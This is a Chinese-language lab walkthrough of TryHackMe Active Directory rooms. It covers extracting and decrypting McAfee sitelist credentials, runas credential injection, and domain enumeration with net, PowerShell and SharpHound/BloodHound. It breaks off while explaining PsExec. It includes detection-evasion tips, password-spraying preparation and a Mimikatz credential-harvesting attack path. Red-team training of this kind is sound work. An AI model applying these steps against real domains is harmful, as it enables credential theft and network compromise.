CREATE TABLE AGENT_REPOSITORIES(NAME TEXT NOT NULL UNIQUE, REPO_TYPE INTEGER NOT NULL, URL_TYPE INTEGER NOT NULL, NAMESPACE INTEGER NOT NULL, PROXY_USAGE INTEGER NOT NULL, AUTH_TYPE INTEGER NOT NULL, ENABLED INTEGER NOT NULL, SERVER_FQDN TEXT, SERVER_IP TEXT, SERVER_NAME TEXT,PORT INTEGER, SSL_PORT INTEGER,PATH TEXT, DOMAIN TEXT, AUTH_USER TEXT, AUTH_PASSWD TEXT, IS_PASSWD_ENCRYPTED INTEGER NOT NULL, PING_TIME INTEGER NOT NULL, SUBNET_DISTANCE INTEGER NOT NULL, SITELIST_ORDER INTEGER NOT NULL, STATE INTEGER NOT NULL, PRIMARY KEY (NAME) ON CONFLICT REPLACE);


# Select the desired columns from the table
sqlite> SELECT DOMAIN, AUTH_USER, AUTH_PASSWD FROM AGENT_REPOSITORIES;
za.tryhackme.com|svcAV|jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==


# Exit sqlite3
sqlite> .quit

img

我们对第二个条目特别感兴趣,重点关注 DOMAIN、AUTH_USER 和 AUTH_PASSWD 字段条目。记下这些条目中存储的值。但是,AUTH_PASSWD 字段已加密。幸运的是,McAfee 使用已知密钥加密此字段。因此,我们将使用以脚本解密密码。

您必须解压缩 mcafee-sitelist-pwd-decryption.zip 文件:

1
thm@thm:~/root/Rooms/BreachingAD/task7/$ unzip mcafeesitelistpwddecryption.zip

通过向脚本提供我们的 base64 编码和加密的密码,脚本将提供解密的密码:

1
2
3
thm@thm:~/root/Rooms/BreachingAD/task7/mcafee-sitelist-pwd-decryption-master$ python2 mcafee_sitelist_pwd_decrypt.py <AUTH PASSWD VALUE>
Crypted password : <AUTH PASSWD VALUE>
Decrypted password : <Decrypted Pasword>

AD域枚举

在我们有了第一组有效的 Active Directory ( AD ) 凭据,我们将探索可用于枚举AD 的不同方法:

  • Microsoft 管理控制台的AD管理单元
  • 命令提示符的网络命令
  • PowerShell的 AD-RSAT cmdlet
  • Bloodhound

对于ssh连接域内跳板机可使用如下指令

1
ssh za.tryhackme.com\\<AD Username>@thmjmp1.za.tryhackme.com

RDP连接,/drive:.,kali-share选项将允许您将当前工作目录作为 RDP 会话中的网络驱动器安装,以便您可以上传和下载文件。

+clipboard选项允许在目标之间复制和粘贴。

1
xfreerdp /d:za.tryhackme.com /u:'user.name' /p:'password' /v:thmjmp1.za.tryhackme.com /drive:.,kali-share +clipboard
凭证注入

若我们找到AD凭证,但没有加入域的主机立足点,我们可以使用一些工具在未加入域的主机上立足时利用域凭据。

如果我们拥有<用户名>:<密码> 格式的AD凭据,则可以使用合法的 Windows 二进制文件 Runas 将凭据注入内存。通常的 Runas 命令如下所示:

1
runas.exe /netonly /user:domain.tld\username cmd.exe
  • /netonly- 仅使用网络会话的凭据,所有其他命令都在本地主机上的当前用户会话中运行
  • /user- 我们想要在网络会话中验证的用户
  • cmd.exe使用注入的网络凭证生成一个新的命令提示符窗口

输入密码后,将打开一个新的命令提示符窗口。现在我们仍然需要验证我们的凭据是否有效。最可靠的方法是列出 SYSVOL。任何AD帐户,无论权限多低,都可以读取 SYSVOL 目录的内容。

SYSVOL 是存在于所有域控制器上的文件夹。它是一个共享文件夹,存储组策略对象 (GPO) 和信息以及任何其他域相关脚本。它是 Active Directory 的重要组成部分,因为它将这些 GPO 传递给域中的所有计算机。加入域的计算机可以读取这些 GPO 并应用适用的 GPO,从中心位置进行域范围的配置更改。

在列出 SYSVOL 之前,我们需要配置 DNS 。有时您很幸运,内部DNS将通过 DHCP 或 VPN 连接自动为您配置,但并非总是如此,对于DNS服务器来说,最安全的选择通常是域控制器。使用域控制器的 IP,我们可以在PowerShell窗口中执行以下命令:

1
2
3
$dnsip = "<DC IP>"
$index = Get-NetAdapter -Name 'Ethernet' | Select-Object -ExpandProperty 'ifIndex'
Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsip

通过运行以下命令来验证DNS是否正常工作:

1
C:\> nslookup za.tryhackme.com

现在应该解析为 DC IP,因为这是托管 FQDN 的位置。现在DNS正在运行,我们终于可以测试我们的凭据了。我们可以使用以下命令强制基于网络列出 SYSVOL 目录:

1
2
3
4
5
6
7
8
9
10
11
C:\Tools>dir \\za.tryhackme.com\SYSVOL\
Volume in drive \\za.tryhackme.com\SYSVOL is Windows
Volume Serial Number is 1634-22A9

Directory of \\za.tryhackme.com\SYSVOL

02/24/2022 09:57 PM <DIR> .
02/24/2022 09:57 PM <DIR> ..
02/24/2022 09:57 PM <JUNCTION> za.tryhackme.com [C:\Windows\SYSVOL\domain]
0 File(s) 0 bytes
3 Dir(s) 51,835,408,384 bytes free

我们现在不会深入探讨 SYSVOL 的内容,但请注意,枚举其内容也是有好处的,因为其中可能隐藏着一些额外的AD凭据。

dir \\za.tryhackme.com\SYSVOLdir \\<DC IP>\SYSVOL之间有区别吗?

它们之间存在相当大的差异,归根结底取决于所使用的身份验证方法。当我们提供主机名时,网络身份验证将首先尝试执行 Kerberos 身份验证。由于 Kerberos 身份验证使用嵌入在票证中的主机名,如果我们改为提供 IP,则可以强制将身份验证类型设置为NTLM。虽然从表面上看,这对我们来说现在并不重要,但了解这些细微的差别是有益的,因为它们可以让你在红队评估期间保持更隐秘。在某些情况下,组织将监控 OverPass 和 Pass-The-Hash 攻击。在这些情况下,强制使用NTLM身份验证是避免被发现的好技巧。

通过Microsoft管理控制台进行枚举

需要使用GUI(RDP连接),我们将使用 Microsoft 管理控制台 (MMC) 和远程服务器管理工具(RSAT) AD 管理单元。如果您使用自己的 Windows 计算机,则可以执行以下步骤来安装管理单元:

  1. Start
  2. 搜索 “Apps & Features” 并按 Enter
  3. 点击 Manage Optional Features
  4. 点击 Add a feature
  5. 搜索 "RSAT"
  6. 选择 "RSAT: Active Directory Domain Services and Lightweight Directory Tools" 单机 Install

您可以使用 Windows 开始按钮、搜索运行并输入 MMC 来启动 MMC。如果我们只是正常运行 MMC,它将无法工作,因为我们的计算机未加入域,并且我们的本地帐户无法用于对域进行身份验证。

MMC 因凭证而无法启动

这时上一个任务中的 Runas 窗口就会发挥作用。在该窗口中,我们可以启动 MMC,这将确保所有 MMC 网络连接都将使用我们注入的AD凭据。

在 MMC 中,我们现在可以附加AD RSAT 管理单元:

  1. 单击文件->添加/删除管理单元
  2. 选择并添加所有三个 Active Directory 管理单元
  3. 点击任何错误和警告
  4. 右键单击**“Active Directory 域和信任”,然后选择“更改林”**
  5. 输入za.tryhackme.com作为根域,然后单击**“确定”**
  6. 右键单击**“Active Directory 站点和服务”,然后选择“更改林”**
  7. 输入za.tryhackme.com作为根域,然后单击“确定”
  8. 右键单击**“Active Directory 用户和计算机”,然后选择“更改域”**
  9. 输入za.tryhackme.com作为域名,然后单击**“确定”**
  10. 右键单击左侧窗格中的**“Active Directory 用户和计算机”**
  11. 点击查看->高级功能

如果到目前为止一切正常,您的 MMC 现在应该指向目标域并针对该目标域进行身份验证:

MMC AD 管理单元

现在我们可以开始列举有关AD结构的信息。

用户和计算机

让我们看一下 Active Directory 结构。对于此任务,我们将重点关注 AD 用户和计算机。展开该管理单元并展开 za 域以查看初始组织单位 ( OU ) 结构:

MMC AD 管理单元

我们来看看人员目录。在这里,我们可以看到用户按照部门 OU 进行划分。单击每个 OU 将显示属于该部门的用户。

MMC AD 管理单元

单击任何用户,我们都可以查看他们的所有属性和特性。我们还可以看到他们属于哪些组:

MMC AD 管理单元

我们还可以使用 MMC 查找环境中的主机。如果我们单击“服务器”或“工作站”,则会显示已加入域的计算机列表。

MMC AD 管理单元

如果我们拥有相关权限,我们还可以使用 MMC 直接对 AD 进行更改,例如更改用户密码或将帐户添加到特定组。使用 MMC 进行尝试以更好地了解AD域结构。利用搜索功能查找对象。

好处

  • GUI提供了一种获得AD环境整体视图的绝佳方法。
  • 可以快速搜索不同的AD对象。
  • 它提供了一种直接的方法来查看AD对象的具体更新。
  • 如果我们有足够的权限,我们可以直接更新现有的AD对象或添加新的对象。

缺点

  • GUI需要通过RDP访问执行它的机器。
  • 虽然搜索对象很快,但无法收集AD范围的属性或特性。
通过命令提示符枚举

CMD 有一个内置命令,我们可以使用它来枚举有关AD 的信息,即net。该net命令是一个方便的工具,可以枚举有关本地系统和AD 的信息。

用户

我们可以使用该命令通过使用子选项net列出AD域中的所有用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\>net user /domain
The request will be processed at a domain controller for domain za.tryhackme.com

User accounts for \\THMDC

-------------------------------------------------------------------------------
aaron.conway aaron.hancock aaron.harris
aaron.johnson aaron.lewis aaron.moore
aaron.patel aaron.smith abbie.joyce
abbie.robertson abbie.taylor abbie.walker
abdul.akhtar abdul.bates abdul.holt
abdul.jones abdul.wall abdul.west
abdul.wilson abigail.cox abigail.cox1
abigail.smith abigail.ward abigail.wheeler
[....]
The command completed successfully.

这将返回所有AD用户,有助于确定域的大小以发起进一步的攻击。我们还可以使用此子选项枚举有关单个用户帐户的更详细信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
C:\>net user zoe.marshall /domain
The request will be processed at a domain controller for domain za.tryhackme.com

User name zoe.marshall
Full Name Zoe Marshall
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never

Password last set 2/24/2022 10:06:06 PM
Password expires Never
Password changeable 2/24/2022 10:06:06 PM
Password required Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon Never

Logon hours allowed All

Local Group Memberships
Global Group memberships *Domain Users *Internet Access
The command completed successfully.

**注意:**如果用户只是少数AD组的一部分,此命令将能够显示组成员身份。但是,通常,超过十个组成员身份后,该命令将无法全部列出。

群组

我们可以使用该net命令通过使用子选项来枚举域的组group

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
C:\>net group /domain
The request will be processed at a domain controller for domain za.tryhackme.com

Group Accounts for \\THMDC

-------------------------------------------------------------------------------
*Cloneable Domain Controllers
*DnsUpdateProxy
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
[...]
*Schema Admins
*Server Admins
*Tier 0 Admins
*Tier 1 Admins
*Tier 2 Admins
The command completed successfully.

这些信息可以帮助我们找到要执行目标的特定组。我们还可以在同一命令中指定组来枚举更多详细信息,例如组成员身份:

1
2
3
4
5
6
7
8
9
10
11
12
13
C:\>net group "Tier 1 Admins" /domain
The request will be processed at a domain controller for domain za.tryhackme.com

Group name Tier 1 Admins
Comment

Members

-------------------------------------------------------------------------------
t1_arthur.tyler t1_gary.moss t1_henry.miller
t1_jill.wallis t1_joel.stephenson t1_marian.yates
t1_rosie.bryant
The command completed successfully.

密码策略

我们可以使用该命令通过使用子选项net来枚举域的密码策略:accounts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\>net accounts /domain
The request will be processed at a domain controller for domain za.tryhackme.com

Force user logoff how long after time expires?: Never
Minimum password age (days): 0
Maximum password age (days): Unlimited
Minimum password length: 0
Length of password history maintained: None
Lockout threshold: Never
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Computer role: PRIMARY
The command completed successfully.

这将为我们提供有用的信息,例如:

  • 密码历史记录保存的长度。这意味着用户必须提供多少个唯一密码才能重新使用旧密码。
  • 密码尝试错误时的锁定阈值以及帐户被锁定的时间。
  • 密码的最小长度。
  • 密码允许达到的最长期限指示是否必须定期轮换密码。

如果我们想对现在已枚举的其他用户帐户发起额外的密码喷洒攻击,这些信息将对我们大有裨益。它可以帮助我们更好地猜测在攻击中应该使用哪些密码,以及在冒着锁定帐户的风险之前可以进行多少次攻击。但是,应该注意的是,如果我们执行盲密码喷洒攻击,我们可能会锁定帐户,因为我们没有检查以确定该特定帐户在被锁定之前还剩下多少次尝试。

您可以在此处找到与 net 命令相关的所有选项。使用这些 net 命令来收集有关特定用户和组的信息。

好处

  • 不需要额外或外部工具,并且这些简单的命令通常不会被蓝队监控。
  • 我们不需要GUI来进行此枚举。
  • VBScript 和其他常用于网络钓鱼负载的宏语言本身支持这些命令,因此可以在制作更具体的负载之前使用它们来枚举有关AD域的初始信息。

缺点

  • 必须从已加入域的计算机执行这些net命令。如果计算机未加入域,则它将默认为 WORKGROUP 域。
  • 命令net可能不会显示所有信息。例如,如果用户是十多个组的成员,则输出中不会显示所有这些组。
通过PowerShell枚举

PowerShell 是命令提示符的升级版。不仅具有命令提示符提供的所有标准功能,还提供了对 cmdlet(发音为 command-lets)的访问,这些 cmdlet 是用于执行特定功能的 .NET 类。虽然我们可以像PowerView的创建者一样编写自己的 cmdlet,但使用内置的 cmdlet 已经可以取得很大进展。

由于我们在任务 3 中安装了 AD-RSAT 工具,它会自动为我们安装相关的 cmdlet。安装了 50 多个 cmdlet。我们将查看其中的一些,但请参阅此列表以获取完整的 cmdlet 列表。

使用我们的 SSH 终端,我们可以使用以下命令将其升级为PowerShell终端:powershell

user

我们可以使用Get-ADUsercmdlet 来枚举AD用户:

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\> Get-ADUser -Identity gordon.stevens -Server za.tryhackme.com -Properties *

AccountExpirationDate :
accountExpires : 9223372036854775807
AccountLockoutTime :
[...]
Deleted :
Department : Consulting
Description :
DisplayName : Gordon Stevens
DistinguishedName : CN=gordon.stevens,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=com
[...]

这些参数的用途如下:

  • -Identity:我们正在枚举的帐户名称
  • -Properties:将显示与帐户相关的哪些属性,* 将显示所有属性
  • -Server :由于我们没有加入域,我们必须使用此参数将其指向我们的域控制器

对于大多数这些 cmdlet,我们还可以使用 -Filter允许更好地控制枚举的参数,并使用 cmdletFormat-Table整齐地显示如下所示的结果:

1
2
3
4
5
6
7
8
9
PS C:\> Get-ADUser -Filter 'Name -like "*stevens"' -Server za.tryhackme.com | Format-Table Name,SamAccountName -A

Name SamAccountName
---- --------------
chloe.stevens chloe.stevens
samantha.stevens samantha.stevens
[...]
janice.stevens janice.stevens
gordon.stevens gordon.stevens

群组

我们可以使用Get-ADGroupcmdlet 来枚举AD组:

1
2
3
4
5
6
7
8
9
10
11
PS C:\> Get-ADGroup -Identity Administrators -Server za.tryhackme.com


DistinguishedName : CN=Administrators,CN=Builtin,DC=za,DC=tryhackme,DC=com
GroupCategory : Security
GroupScope : DomainLocal
Name : Administrators
ObjectClass : group
ObjectGUID : f4d1cbcd-4a6f-4531-8550-0394c3273c4f
SamAccountName : Administrators
SID : S-1-5-32-544

我们还可以使用Get-ADGroupMembercmdlet 枚举组成员身份:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS C:\> Get-ADGroupMember -Identity Administrators -Server za.tryhackme.com


distinguishedName : CN=Domain Admins,CN=Users,DC=za,DC=tryhackme,DC=com

name : Domain Admins
objectClass : group
objectGUID : 8a6186e5-e20f-4f13-b1b0-067f3326f67c
SamAccountName : Domain Admins
SID : S-1-5-21-3330634377-1326264276-632209373-512

[...]

distinguishedName : CN=Administrator,CN=Users,DC=za,DC=tryhackme,DC=com name : Administrator
objectClass : user
objectGUID : b10fe384-bcce-450b-85c8-218e3c79b30fSamAccountName : Administrator
SID : S-1-5-21-3330634377-1326264276-632209373-500

AD Objects

可以使用cmdlet 对任何AD对象进行更通用的搜索Get-ADObject。例如,如果我们要查找特定日期之后更改的所有AD对象::

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS C:\> $ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
PS C:\> Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server za.tryhackme.com

Deleted :
DistinguishedName : DC=za,DC=tryhackme,DC=com
Name : za
ObjectClass : domainDNS
ObjectGUID : 518ee1e7-f427-4e91-a081-bb75e655ce7a

Deleted :
DistinguishedName : CN=Administrator,CN=Users,DC=za,DC=tryhackme,DC=com
Name : Administrator
ObjectClass : user
ObjectGUID : b10fe384-bcce-450b-85c8-218e3c79b30f

例如,如果我们想要在不锁定账户的情况下执行密码喷洒攻击,我们可以使用它来枚举 badPwdCount 大于 0 的账户,以避免这些账户受到攻击:

1
2
PS C:\> Get-ADObject -Filter 'badPwdCount -gt 0' -Server za.tryhackme.com
PS C:\>

仅当网络中的一个用户多次输入错误密码时,才会显示结果。

我们可以用来Get-ADDomain检索有关特定域的其他信息:

1
2
3
4
5
6
7
8
9
10
11
PS C:\> Get-ADDomain -Server za.tryhackme.com

AllowedDNSSuffixes : {}
ChildDomains : {}
ComputersContainer : CN=Computers,DC=za,DC=tryhackme,DC=com
DeletedObjectsContainer : CN=Deleted Objects,DC=za,DC=tryhackme,DC=com
DistinguishedName : DC=za,DC=tryhackme,DC=com
DNSRoot : za.tryhackme.com
DomainControllersContainer : OU=Domain Controllers,DC=za,DC=tryhackme,DC=com
[...]
UsersContainer : CN=Users,DC=za,DC=tryhackme,DC=com

修改AD对象

AD -RSAT cmdlet的优点在于,有些命令甚至允许您创建新的或更改现有的AD对象。但是,我们对这个网络的关注点是枚举。创建新对象或更改现有对象将被视为AD漏洞利用,这将在AD模块的后面部分介绍。

但是,我们将通过使用cmdlet 强制更改AD用户的密码来展示此示例Set-ADAccountPassword

1
PS C:\> Set-ADAccountPassword -Identity gordon.stevens -Server za.tryhackme.com -OldPassword (ConvertTo-SecureString -AsPlaintext "old" -force) -NewPassword (ConvertTo-SecureString -AsPlainText "new" -Force)

好处

  • PowerShell cmdlet 可以枚举比命令提示符中的net 命令多得多的信息。
  • 我们可以指定服务器和域,从未加入域的机器上使用 runas 执行这些命令。
  • 我们可以创建自己的 cmdlet 来枚举特定信息。
  • 我们可以使用AD -RSAT cmdlet 直接更改AD对象,例如重置密码或将用户添加到特定组。

缺点

  • 与命令提示符相比, PowerShell往往受到蓝队的更多监控。
  • 我们必须安装 AD-RSAT 工具或使用其他可能可检测的脚本进行PowerShell枚举。
通过Bloodhound枚举

Bloodhound 是迄今为止最强大的AD枚举工具,Sharphound 是 Bloodhound 的枚举工具。它用于枚举 AD 信息,然后可以在 Bloodhound 中直观显示这些信息。Bloodhound 是用于显示AD攻击图的实际GUI。因此,我们首先需要学习如何使用 Sharphound 枚举AD,然后才能使用 Bloodhound 直观地查看结果。

Sharphound 有三种不同的类型:

  • Sharphound.ps1 -用于运行 Sharphound 的PowerShell脚本。但是,Sharphound 的最新版本已停止发布 Powershell 脚本版本。此版本非常适合与 RAT 一起使用,因为该脚本可以直接加载到内存中,从而避开磁盘上的AV扫描。
  • **Sharphound.exe——**用于运行 Sharphound 的 Windows 可执行版本。
  • AzureHound.ps1 -用于运行 Sharphound for Azure(Microsoft 云计算服务)实例的PowerShell脚本。Bloodhound 可以提取从 Azure 枚举的数据,以查找与 Azure 身份和访问管理配置相关的攻击路径。

Bloodhound 和 Sharphound 版本必须匹配才能获得最佳结果。通常 Bloodhound 会进行更新,这意味着旧的 Sharphound 结果无法导入。

使用这些脚本时这些文件很有可能被检测为恶意软件并向蓝队发出警报。这时,我们未加入域的 Windows 计算机可以提供帮助。我们可以使用命令runas注入 AD 凭据并将 Sharphound 指向域控制器。由于我们控制这台 Windows 计算机,我们可以禁用 AV或为特定文件或文件夹创建例外,

我们将按如下方式执行 Sharphound:

1
Sharphound.exe --CollectionMethods <Methods> --Domain za.tryhackme.com --ExcludeDCs

参数解释:

  • CollectionMethods - 确定 Sharphound 会收集哪种数据。最常见的选项是 Default 或 All。此外,由于 Sharphound 会缓存信息,因此一旦第一次运行完成,您只能使用 Session 收集方法来检索新用户会话以加快该过程。
  • 域 - 在这里,我们指定要枚举的域。在某些情况下,您可能希望枚举与现有域具有信任关系的父域或其他域。您可以通过更改此参数来告诉 Sharphound 应该枚举哪个域。
  • ExcludeDCs - 这将指示 Sharphound 不要触碰域控制器,从而降低 Sharphound 运行引发警报的可能性。

您可以在此处找到所有各种 Sharphound 参数。最好概览一下其他参数,因为根据您的红队评估情况,可能需要这些参数。

使用上一个任务中的 SSH PowerShell 会话,将 Sharphound 二进制文件复制到 AD 用户的 Documents 目录:

1
2
3
PS C:\> copy C:\Tools\Sharphound.exe ~\Documents\
PS C:\> cd ~\Documents\
PS C:\Users\gordon.stevens\Documents>

我们将使用 All 和 Session 集合方法运行 Sharphound:

1
2
3
4
5
6
7
8
9
10
11
PS C:\Users\gordon.stevens\Documents\>SharpHound.exe --CollectionMethods All --Domain za.tryhackme.com --ExcludeDCs
2022-03-16T19:11:41.2898508+00:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-03-16T19:11:41.3056683+00:00|INFORMATION|Initializing SharpHound at 7:11 PM on 3/16/2022
2022-03-16T19:11:41.6648113+00:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-03-16T19:11:41.8211318+00:00|INFORMATION|Beginning LDAP search for za.tryhackme.com
[....]
2022-03-16T19:12:31.6981568+00:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2022-03-16T19:12:32.2605943+00:00|INFORMATION|Status: 2163 objects finished (+2163 43.26)/s -- Using 85 MB RAM
2022-03-16T19:12:32.2605943+00:00|INFORMATION|Enumeration finished in 00:00:50.4369344
2022-03-16T19:12:32.5418517+00:00|INFORMATION|SharpHound Enumeration Completed at 7:12 PM on 3/16/2022! Happy Graphing!

Sharphound 执行枚举大约需要 1 分钟。在较大的组织中,这可能需要更长的时间,甚至第一次执行需要几个小时。完成后,您将在执行 Sharphound 的同一文件夹中获得一个带时间戳的 ZIP 文件。

1
2
3
4
5
6
7
8
9
PS C:\Users\gordon.stevens\Documents> dir

Directory: C:\Users\gordon.stevens\Documents

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/16/2022 7:12 PM 121027 20220316191229_BloodHound.zip
-a---- 3/16/2022 5:19 PM 906752 SharpHound.exe
-a---- 3/16/2022 7:12 PM 360355 YzE4MDdkYjAtYjc2MC00OTYyLTk1YTEtYjI0NjhiZmRiOWY1.bin

我们现在可以使用 Bloodhound 来提取这个 ZIP,以便直观地展示攻击路径。

Bloodhound

如前所述,Bloodhound 是一个 GUI,它允许我们导入 Sharphound 捕获的数据并将其可视化到攻击路径中。Bloodhound 使用 Neo4j 作为其后端数据库和图形系统。Neo4j 是一个图形数据库管理系统。

确保在攻击机器上安装并配置了 Bloodhound 和 neo4j。无论哪种方式,了解后台发生的事情都是有益的。在启动 Bloodhound 之前,我们需要加载 Neo4j:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
thm@thm:~# neo4j console start
Active database: graph.db
Directories in use:
home: /var/lib/neo4j
config: /etc/neo4j
logs: /var/log/neo4j
plugins: /var/lib/neo4j/plugins
import: /var/lib/neo4j/import
data: /var/lib/neo4j/data
certificates: /var/lib/neo4j/certificates
run: /var/run/neo4j
Starting Neo4j.
[....]
2022-03-13 19:59:18.014+0000 INFO Bolt enabled on 127.0.0.1:7687.

在另一个终端选项卡中,运行bloodhound --no-sandbox。这将显示身份验证GUI:

猎犬

neo4j 数据库的默认凭据为neo4j:neo4j。使用它在 Bloodhound 中进行身份验证。要导入我们的结果,您需要从 Windows 主机恢复 ZIP 文件。最简单的方法是在 AttackBox 上使用 SCP 命令:

1
scp <AD Username>@THMJMP1.za.tryhackme.com:C:/Users/<AD Username>/Documents/<Sharphound ZIP> .

提供密码后,结果将复制到您当前的工作目录。将 ZIP 文件拖放到 Bloodhound GUI上以导入 Bloodhound。它将显示正在提取文件并启动导入。

猎犬

一旦导入了所有JSON文件,我们就可以开始使用 Bloodhound 来枚举该特定域的攻击路径。

Bloodhound 可以显示多种攻击路径。点击“搜索节点”旁边的三个横线将显示选项。第一个选项卡显示了有关当前导入的信息。

猎犬

请注意,如果您导入 Sharphound 的新运行,它将累计增加这些计数。首先,我们将查看节点信息。让我们在 Bloodhound 中搜索我们的AD帐户。您必须单击节点才能刷新视图。另请注意,您可以通过按 LeftCtrl 来更改标签方案。

猎犬

我们可以看到,返回了大量有关我们使用的信息。每个类别都提供以下信息:

  • 概述- 提供摘要信息,例如帐户拥有的活跃会话数以及是否可以达到高价值目标。
  • 节点属性- 显示有关AD帐户的信息,例如显示名称和标题。
  • 额外属性- 提供更详细的AD信息,例如可分辨名称和帐户的创建时间。
  • 群组成员资格- 显示有关该帐户所属群组的信息。
  • 本地管理员权限- 提供有关帐户具有管理权限的加入域的主机的信息。
  • 执行权限- 提供有关特殊权限的信息,例如通过RDP进入机器的能力。
  • 出站控制权限- 显示有关此帐户有权修改其属性的AD对象的信息。
  • 入站控制权限- 提供有关可以修改此帐户属性的AD对象的信息。

如果您想要了解每个类别的更多信息,可以按信息查询旁边的数字。例如,让我们看看与我们的帐户关联的群组成员身份。通过按“一级群组成员身份”旁边的数字,我们可以看到我们的帐户是两个群组的成员。

猎犬

接下来,我们将查看分析查询。这些查询是 Bloodhound 的创建者自己编写的,用于列举有用的信息。

猎犬

在域信息部分下,我们可以运行“查找所有域管理员”查询。请注意,您可以按 LeftCtrl 更改标签显示设置。

猎犬

图标称为节点,线条称为边。让我们深入了解 Bloodhound 向我们展示的内容。有一个AD用户帐户,其用户名为T0_TINUS.GREEN ,它是组Tier 0 ADMINS的成员。但是,此组是DOMAIN ADMINS组的嵌套组,这意味着属于Tier 0 ADMINS组的所有用户实际上都是 DA。

此外,还有一个用户名为ADMINISTRATOR的AD帐户,该帐户属于DOMAIN ADMINS组。因此,如果我们想获得 DA 权限,我们的攻击面中有两个帐户可以尝试攻陷。由于ADMINISTRATOR帐户是内置帐户,因此我们可能会将重点放在用户帐户上。

前面任务中讨论过的每个AD对象都可以是 Bloodhound 中的一个节点,每个节点都有一个不同的图标来表示其对象类型。如果我们想要制定攻击路径,我们需要查看当前位置和我们拥有的权限与我们想要去的地方之间的可用边。Bloodhound 有各种可用边,可以通过过滤器图标访问:

猎犬

随着新的攻击媒介被发现,这些也在不断更新。我们将在未来的网络中研究如何利用这些不同的边缘。但是,让我们看看仅使用默认边缘和一些特殊边缘的最基本攻击路径。我们将在 Bloodhound 中运行搜索以枚举攻击路径。按路径图标以允许路径搜索。

猎犬

我们的起始节点将是我们的AD用户名,而我们的结束节点将是第 1 层 ADMINS组,因为该组对服务器具有管理权限。

猎犬

如果使用选定的边缘过滤器没有可用的攻击路径,Bloodhound 将显示“未找到结果”。请注意,这也可能是由于 Bloodhound/Sharphound 不匹配,这意味着结果未正确提取。请使用 Bloodhound v4.1.0。但是,在我们的案例中,Bloodhound 显示了一条攻击路径。它显示 T1 ADMINS 之一ACCOUNT使用其凭据向****THMJMP1 (一个工作站 )进行身份验证,从而破坏了分层模型。它还显示,任何属于DOMAIN USERS组的用户(包括我们的 AD 帐户)都能够通过RDP进入此主机。

我们可以做如下的事情来利用这条路径:

  1. 使用我们的 AD 凭证通过RDP进入THMJMP1
  2. 在主机上寻找能够为我们提供管理访问权限的权限提升向量。
  3. 利用管理员权限,我们可以使用凭证收集技术和工具,例如 Mimikatz。
  4. 由于 T1 管理员在THMJMP1上有一个活动会话,我们的凭证收集将为我们提供关联帐户的NTLM哈希。

这是一个简单的例子。在正常情况下,攻击路径可能相对复杂,需要采取多项措施才能达到最终目标。如果您对与每个边缘相关的漏洞感兴趣,以下Bloodhound 文档提供了一个很好的指南。Bloodhound 是一款功能非常强大的AD枚举工具,可深入了解攻击面的AD结构。值得花点时间试用并学习其各种功能。

仅限会话数据

在大型组织中, AD的结构不会经常改变。可能会有几个新员工,但 OU、组、用户和权限的整体结构将保持不变。

但是,有一件事确实在不断变化,那就是活动会话和登录事件。由于 Sharphound 创建了AD结构的时间点快照,因此活动会话数据并不总是准确的,因为某些用户可能已经注销了他们的会话,或者新用户可能已经建立了新会话。这是需要注意的重要事项,也是我们希望定期执行 Sharphound 的原因。

一种好方法是在评估开始时使用“全部”收集方法执行 Sharphound,然后每天使用“会话”收集方法至少执行两次 Sharphound。这将为您提供新的会话数据,并确保这些运行速度更快,因为它们不会再次枚举整个AD结构。执行这些会话运行的最佳时间是在 10:00 左右,此时用户喝完第一杯咖啡并开始工作,然后在 14:00 左右再次执行,此时他们午休回来但还没有回家。

在从这些新的 Sharphound 运行导入数据之前,您可以通过单击数据库信息选项卡上的“清除会话信息”来清除 Bloodhound 中的停滞会话数据。

好处

  • 为AD枚举提供GUI。
  • 能够显示枚举的AD信息的攻击路径。
  • 对通常需要多次手动查询才能恢复的AD对象提供更深入的见解。

缺点

  • 需要执行 Sharphound,它很吵,通常可以被 AV 或EDR解决方案检测到。

横向移动

一旦攻击者获得了对网络第一台机器的访问权限,出于多种原因,移动就必不可少,其中包括:

  • 达到我们作为攻击者的目标
  • 绕过现有的网络限制
  • 建立额外的网络入口点
  • 制造混乱并避免被发现。

我们使用任何可用的凭据执行横向移动,使我们能够访问新机器,并在可能的情况下提升权限并提取凭据。使用新发现的凭据,循环再次开始。

远程生成进程

研究攻击者远程生成进程的可用方法,从而使他们在拥有有效凭据的机器上运行命令。讨论的每种技术都使用略有不同的方法来实现相同的目的,其中一些可能更适合某些特定场景。

  • Psexec
  • 端口: 445/ TCP(SMB)
  • **所需组成员身份:**管理员

Psexec 一直是需要远程执行进程时的首选方法。它允许管理员用户在其有权访问的任何 PC 上远程运行命令。Psexec 是众多 Sysinternals 工具之一,可在此处下载。

psexec 的工作方式如下:

  1. 连接到 Admin$ 共享并上传服务二进制文件。Psexec 使用 psexesvc.exe 作为名称。
  2. 连接到服务控制管理器以创建并运行名为 PSEXESVC 的服务,并将服务二进制文件与C:\Windows\psexesvc.exe关联。
